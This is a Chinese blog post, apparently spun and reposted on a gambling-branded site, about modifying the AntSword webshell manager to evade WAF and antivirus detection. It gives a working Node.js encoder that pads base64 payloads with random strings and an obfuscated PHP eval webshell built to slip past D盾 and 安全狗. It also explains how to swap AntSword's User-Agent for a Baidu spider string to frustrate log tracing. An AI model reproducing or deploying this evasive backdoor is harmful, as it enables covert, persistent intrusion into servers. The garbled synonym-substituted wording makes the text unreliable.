从静态到动态打造一款免杀的antSword(蚁剑) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

从静态到动态打造一款免杀的antSword(蚁剑)

申博_安全工具 申博 409次浏览 已收录 0个评论

0x1 媒介

​ 之前在逛一些手艺论坛就看到绕waf的权限保持手艺,作为一枚菜鸡剧本小子的我看完以后也盘算摩拳擦掌,因而就有了这篇水文。然则网上都是说菜刀之类的,然则我小我对照喜好antSword这款开源的软件,然后简朴读了下其文档,发明他支撑高度自定义,并且能够直接修正代码,几乎轻易的不要不要的,因而就有了下面这篇简朴的文章。

0x2 动态免杀

​ 这里我明白的动态免杀对照low,实在就是运用层的流量加密,如许能够绕过一些waf对流量一些关键词的检测,我这个要领实在最大的亮点就是操纵对照简朴吧,手艺含量照样很初级,但现在自我觉得照样有点有用价值。

这里起首要谈下antSword的自定义编码器

从静态到动态打造一款免杀的antSword(蚁剑)

翻开蚁剑的体系设置就能够看到编码治理选项,这里挑选新增一个编码器

从静态到动态打造一款免杀的antSword(蚁剑)

这里能够经由过程代码和解释看出编码器的作用,下面是我修正的编码器结果:

这些代码重要就是javascript node.js基础语法

/**
 * php::base64编码器
 * Create at: 2019/01/26 23:51:47
 */

'use strict';

/*
* @param  {String} pwd   衔接暗码
* @param  {Array}  data  编码器处置惩罚前的 payload 数组
* @return {Array}  data  编码器处置惩罚后的 payload 数组
*/
module.exports = (pwd, data) => {
  // ##########    请在下方编写你本身的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 天生一个随机变量名
  let randomID = `${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来以后,转为 base64 编码并放入 randomID key 下
  let encry= new Buffer(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处置惩罚 pwd 参数下的内容,
  data[pwd] = `${randomID}`+encry+`${randomID}`;
  // ##########    请在上方编写你本身的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处置惩罚后的 payload 数组
  return data;
}

重要就是3行代码:

let randomID = `${Math.random().toString(16).substr(2)}`; //天生13位随机字符串
 let encry= new Buffer(data['_']).toString('base64'); //传输数据base64
 data[pwd] = `${randomID}`+encry+`${randomID}`; //随机字符串+传输数据base64+随机字符串

随机字符串+传输数据base64+随机字符串如许的结果是滋扰一些waf举行隐约解码,如许是不能够被直接解密的。

或许有人说如许流动字符串不敷动态,然则你完全能够在设置个参数传入长度进shell内里

好比如许?

module.exports = (pwd, data) => {
  // ##########    请在下方编写你本身的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 天生一个随机变量名
  let num =  Math.floor(Math.random()*15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  // 原有的 payload 在 data['_']中
  // 取出来以后,转为 base64 编码并放入 randomID key 下
  let encry= new Buffer(data['_']).toString('base64');
  data['num'] = 15-num;

  // shell 在接收到 payload 后,先处置惩罚 pwd 参数下的内容,
  data[pwd] = `${randomStr}`+encry+`${randomStr}`;
  // ##########    请在上方编写你本身的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处置惩罚后的 payload 数组
  return data;
}

这里设置下AntantSword的署理设置为http,burp监听端口检察下结果

从静态到动态打造一款免杀的antSword(蚁剑)

从静态到动态打造一款免杀的antSword(蚁剑)

设置装备摆设好shell,然后衔接shell,再检察burp的流量

从静态到动态打造一款免杀的antSword(蚁剑)

能够看到http的流量除是User-Agent: antSword/v2.0 这个很显着的特征基础没有敏感关键字,并且num也是随机值,这个编码器基础达到了流量加密的目标,并且post的表单情势,更是对许多waf存在免疫力,以是说结果小我觉得照样挺不错的。

既然服务端已设置装备摆设好了,那末就要斟酌下客户端也就是webshell的免杀和运用编写了。

0x3 静态免杀

​ 由于我现在虚拟机也就只是装了D盾和平安狗另有个浮屠,以是顺手测试下写了个免杀这三个waf的一个php一句话(ps 没啥手艺含量)

<?php
/* 用户操纵类 */
class User
{
  public $name = '';
  public $config = null;

  function __destruct(){
    @eval(''.$config."$this->name");
  }
}
// 天生用户
$user = new User;
$num = @$_POST['num'];
// 通报用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));
$user->name = ''.$c;
?>

我小我觉得只需过了D盾,一样平常也能过狗吧。

这里谈谈思绪:

起首服务端传入的是随机长度字符串+base64传输数据+随机长度字符串

webshell对应的解码就是:

$num = @$_POST['num'];
// 通报用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));

关于怎样过D盾,assert过D盾挺简朴,然则斟酌了下兼容性,我以为用eval来演示结果更好。

这里参考两篇文章:

过D盾webshell分享

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

404大牛的关于免杀webshell的一些总结

起首组织个类然后应用一些php的特征好比 eval(”.phpinfo()); 来完成绕过D盾

然后发明D盾照样报二级 base64_decode解码,发明网上文章许多人摒弃了base64_decode()(D盾超喜好)

然后我事先组织了下:

<?php
$a = $_POST['a'];
$c = base64_decode($a);
?>

发明没有报毒,我以为照样有戏的。

厥后我简朴想了下应用定名空间来完成了绕过

\base64_decode()

然后加点解释,误导一些像我如许的小白。

末了附上一张免杀图的:

从静态到动态打造一款免杀的antSword(蚁剑)

0x4 处置惩罚下UA显着特征

​ 许多人用蚁剑实在都是默许设置装备摆设就用了,以是默许就带有User-Agent: antSword/v2.0,日记溯源几乎是爽YY。不外蚁剑在增加shell的时刻也供应了自定义的header头功用,然则用起来我觉得不是很轻易,不如直接在代码内里修正了。

这里能够用百度UA:

Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

固然你也能够预备多个UA存进数组里,每次随机挪用,我小我觉得没太大有用价值,后门照样要做在底层才对照稳。

antSword-2.0.4/modules/request.js

中有个const USER_AGENT = 'antSword/v2.0';

替代为

从静态到动态打造一款免杀的antSword(蚁剑)

antSword-2.0.4/modules/update.js

从静态到动态打造一款免杀的antSword(蚁剑)

直接替代两处就好了。

下面再次抓包看看结果:

从静态到动态打造一款免杀的antSword(蚁剑)

OK,打工乐成。

0x5 一些思索

​ 1.若是waf是检测到异常流量包的话就抛弃的话,这类要领就没啥用了

​ 2.若是底层hook函数,这类要领也就没啥用了,然则我觉得这类本钱很高,一样平常waf也不会如许做吧。

​ 3.由于是首次探究这个范畴,各方面相识的不是许多,愿望列位师傅鼎力大举指导,教授种种骚姿态。

0x6 感受

​ 行文下来,小我觉得操纵异常简朴,并且照样有点有用,兼容性照样挺惬意的,文章能够诸多马虎,愿望列位师傅不要介怀。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明从静态到动态打造一款免杀的antSword(蚁剑)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址